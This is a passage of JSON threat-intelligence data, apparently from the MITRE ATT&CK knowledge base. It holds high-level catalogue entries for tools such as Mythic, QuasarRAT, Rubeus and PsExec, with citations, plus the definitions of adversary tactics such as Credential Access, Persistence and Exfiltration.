SpecterOps","url":"https://posts.specterops.io/a-change-of-mythic-proportions-21debeb03617","description":"Thomas, C. (2020, August 13). A Change of Mythic Proportions. Retrieved March 25, 2022."},{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mythic](https://attack.mitre.org/software/S0699) is an open source, cross-platform post-exploitation/command and control platform. [Mythic](https://attack.mitre.org/software/S0699) is designed to \"plug-n-play\" with various agents and communication channels.(Citation: Mythic Github)(Citation: Mythic SpecterOps)(Citation: Mythc Documentation) Deployed [Mythic](https://attack.mitre.org/software/S0699) C2 servers have been observed as part of potentially malicious infrastructure.(Citation: RecordedFuture 2021 Ad Infra)","modified":"2022-04-18T15:41:53.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Mythic","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Linux","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["HTRAN","HUC Packet Transmit Tool"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e","type":"tool","created":"2017-05-31T21:32:32.011Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0040","external_id":"S0040"},{"source_name":"HUC Packet Transmit Tool","description":"(Citation: Operation Quantum Entanglement)"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf","description":"Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.","source_name":"Operation Quantum Entanglement"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-04-23T20:04:19.262Z","name":"HTRAN","description":"[HTRAN](https://attack.mitre.org/software/S0040) is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SDelete"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153","type":"tool","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0195","external_id":"S0195"},{"source_name":"SDelete","description":"(Citation: Microsoft SDelete July 2016)"},{"source_name":"Microsoft SDelete July 2016","description":"Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.","url":"https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"}],"modified":"2020-08-12T21:37:53.804Z","name":"SDelete","description":"[SDelete](https://attack.mitre.org/software/S0195) is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-05-07T19:10:03.843Z","name":"QuasarRAT","description":"[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that has been publicly available on GitHub since at least 2014. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet"],"x_mitre_aliases":["QuasarRAT","xRAT"],"type":"tool","id":"tool--da04ac30-27da-4959-a67d-450ce47d9470","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0262","external_id":"S0262"},{"source_name":"QuasarRAT","description":"(Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018) (Citation: TrendMicro Patchwork Dec 2017)"},{"source_name":"xRAT","description":"(Citation: TrendMicro Patchwork Dec 2017)(Citation: Securelist APT10 March 2021)"},{"source_name":"Securelist APT10 March 2021","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"},{"source_name":"GitHub QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.","url":"https://github.com/quasar/QuasarRAT"},{"source_name":"Volexity Patchwork June 2018","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-03T18:30:05.885Z","name":"Rubeus","description":"[Rubeus](https://attack.mitre.org/software/S1071) is a C# toolset designed for raw Kerberos interaction that has been used since at least 2020, including in ransomware operations.(Citation: GitHub Rubeus March 2023)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Mayuresh Dani, Qualys","Akshat Pradhan, Qualys"],"x_mitre_aliases":["Rubeus"],"type":"tool","id":"tool--e33267fe-099f-4af2-8730-63d49f8813b2","created":"2023-03-29T20:19:26.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1071","external_id":"S1071"},{"source_name":"GitHub Rubeus March 2023","description":"Harmj0y. (n.d.). Rubeus. Retrieved March 29, 2023.","url":"https://github.com/GhostPack/Rubeus"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-05T16:37:49.999Z","name":"Tor","description":"[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)","x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Tor"],"type":"tool","id":"tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0183","external_id":"S0183"},{"source_name":"Tor","description":"(Citation: Dingledine Tor The Second-Generation Onion Router)"},{"source_name":"Dingledine Tor The Second-Generation Onion Router","description":"Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.","url":"http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T15:21:53.462Z","name":"AdFind","description":"[AdFind](https://attack.mitre.org/software/S0552) is a free command-line query tool that can be used for gathering information from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.5","x_mitre_aliases":["AdFind"],"type":"tool","id":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","created":"2020-12-28T18:35:50.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0552","external_id":"S0552"},{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"FireEye Ryuk and Trickbot January 2019","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"},{"source_name":"FireEye FIN6 Apr 2019","description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:32:25.006Z","name":"Wevtutil","description":"[Wevtutil](https://attack.mitre.org/software/S0645) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.(Citation: Wevtutil Microsoft Documentation)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Viren Chaudhari, Qualys","Harshal Tupsamudre, Qualys"],"x_mitre_aliases":["Wevtutil"],"type":"tool","id":"tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a","created":"2021-09-14T21:45:30.280Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0645","external_id":"S0645"},{"source_name":"Wevtutil Microsoft Documentation","description":"Microsoft. (n.d.). wevtutil. Retrieved September 14, 2021.","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5","type":"tool","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0224","external_id":"S0224"},{"source_name":"Check Point Havij Analysis","description":"Ganani, M. (2015, May 14). Analysis of the Havij SQL Injection tool. Retrieved March 19, 2018.","url":"https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/"}],"modified":"2018-10-17T00:14:20.652Z","name":"Havij","description":"[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:31:21.768Z","name":"PsExec","description":"[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.(Citation: Russinovich Sysinternals)(Citation: SANS PsExec)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.7","x_mitre_contributors":["Janantha Marasinghe"],"x_mitre_aliases":["PsExec"],"type":"tool","id":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","created":"2017-05-31T21:32:21.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0029","external_id":"S0029"},{"source_name":"SANS PsExec","description":"Pilkington, M. (2012, December 17). Protecting Privileged Domain Accounts: PsExec Deep-Dive. Retrieved August 17, 2016.","url":"https://www.sans.org/blog/protecting-privileged-domain-accounts-psexec-deep-dive/"},{"source_name":"Russinovich Sysinternals","description":"Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.","url":"https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--2558fd61-8c75-4730-94c4-11926db2a263","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0006","url":"https://attack.mitre.org/tactics/TA0006","source_name":"mitre-attack"}],"modified":"2019-07-19T17:43:41.967Z","name":"Credential Access","description":"The adversary is trying to steal account names and passwords.\n\nCredential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"credential-access"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--4ca45d45-df4d-4613-8980-bac22d278fa5","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0002","url":"https://attack.mitre.org/tactics/TA0002","source_name":"mitre-attack"}],"modified":"2019-07-19T17:42:06.909Z","name":"Execution","description":"The adversary is trying to run malicious code.\n\nExecution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery. ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"execution"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--5569339b-94c2-49ee-afb3-2222936582c8","type":"x-mitre-tactic","created":"2019-03-14T18:44:44.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0040","source_name":"mitre-attack","url":"https://attack.mitre.org/tactics/TA0040"}],"modified":"2019-07-25T18:42:23.222Z","name":"Impact","description":"The adversary is trying to manipulate, interrupt, or destroy your systems and data.\n \nImpact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries’ goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"impact"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--5bc1d813-693e-4823-9961-abf9af4b0e92","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0003","url":"https://attack.mitre.org/tactics/TA0003","source_name":"mitre-attack"}],"modified":"2019-07-19T17:42:33.899Z","name":"Persistence","description":"The adversary is trying to maintain their foothold.\n\nPersistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code. ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"persistence"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--5e29b093-294e-49e9-a803-dab3d73b77dd","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0004","url":"https://attack.mitre.org/tactics/TA0004","source_name":"mitre-attack"}],"modified":"2021-01-06T14:21:21.641Z","name":"Privilege Escalation","description":"The adversary is trying to gain higher-level permissions.\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: \n\n* SYSTEM/root level\n* local administrator\n* user account with admin-like access \n* user accounts with access to specific system or perform specific function\n\nThese techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context. ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"privilege-escalation"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--7141578b-e50b-4dcc-bfa4-08a8dd689e9e","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0008","url":"https://attack.mitre.org/tactics/TA0008","source_name":"mitre-attack"}],"modified":"2019-07-19T17:44:36.953Z","name":"Lateral Movement","description":"The adversary is trying to move through your environment.\n\nLateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier. ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"lateral-movement"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--78b23412-0651-46d7-a540-170a1ce8bd5a","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0005","url":"https://attack.mitre.org/tactics/TA0005","source_name":"mitre-attack"}],"modified":"2019-07-19T17:43:23.473Z","name":"Defense Evasion","description":"The adversary is trying to avoid being detected.\n\nDefense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses. ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"defense-evasion"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--9a4e74ab-5008-408c-84bf-a10dfbc53462","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0010","url":"https://attack.mitre.org/tactics/TA0010","source_name":"mitre-attack"}],"modified":"2019-07-19T17:45:12.806Z","name":"Exfiltration","description":"The adversary is trying to steal data.\n\nExfiltration consists of techniques that adversaries may use to steal data from your network. Once they’ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"exfiltration"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--c17c5845-175e-4421-9713-829d0573dbc9","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0007","url":"https://attack.mitre.org/tactics/TA0007","source_name":"mitre-attack"}],"modified":"2019-07-19T17:44:13.228Z","name":"Discovery","description":"The adversary is trying to figure out your environment.\n\nDiscovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what’s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective. ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"discovery"},{"modified":"2024-09-05T18:27:09.070Z","name":"Collection","description":"The adversary is trying to gather data of interest to their goal.\n\nCollection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to either steal (exfiltrate) the data or to use the data to gain more information about the target environment. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_shortname":"collection","type":"x-mitre-tactic","id":"x-mitre-tactic--d108ce10-2419-4cf9-a774-46161d6c6cfe","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/tactics/TA0009","external_id":"TA0009"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--d679bca2-e57d-4935-8650-8031c87a4400","type":"x-mitre-tactic","created":"2020-09-30T16:11:59.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0042","source_name":"mitre-attack","url":"https://attack.mitre.org/tactics/TA0042"}],"modified":"2020-09-30T16:31:36.322Z","name":"Resource Development","description":"The adversary is trying to establish resources they can use to support operations.\n\nResource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"resource-development"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--daa4cbb1-b4f4-4723-a824-7f1efd6e0592","type":"x-mitre-tactic","created":"2020-10-02T14:48:41.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0043","source_name":"mitre-attack","url":"https://attack.mitre.org/tactics/TA0043"}],"modified":"2020-10-18T02:04:50.842Z","name":"Reconnaissance","description":"The adversary is trying to gather information they can use to plan future operations.\n\nReconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"reconnaissance"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--f72804c5-f15a-449e-a5da-2eecd181f813","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0011","url":"https://attack.mitre.org/tactics/TA0011","source_name":"mitre-attack"}],"modified":"2019-07-19T17:45:30.644Z","name":"Command and Control","description":"The adversary is trying to communicate with compromised systems to control them.\n\nCommand and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim’s network structure and 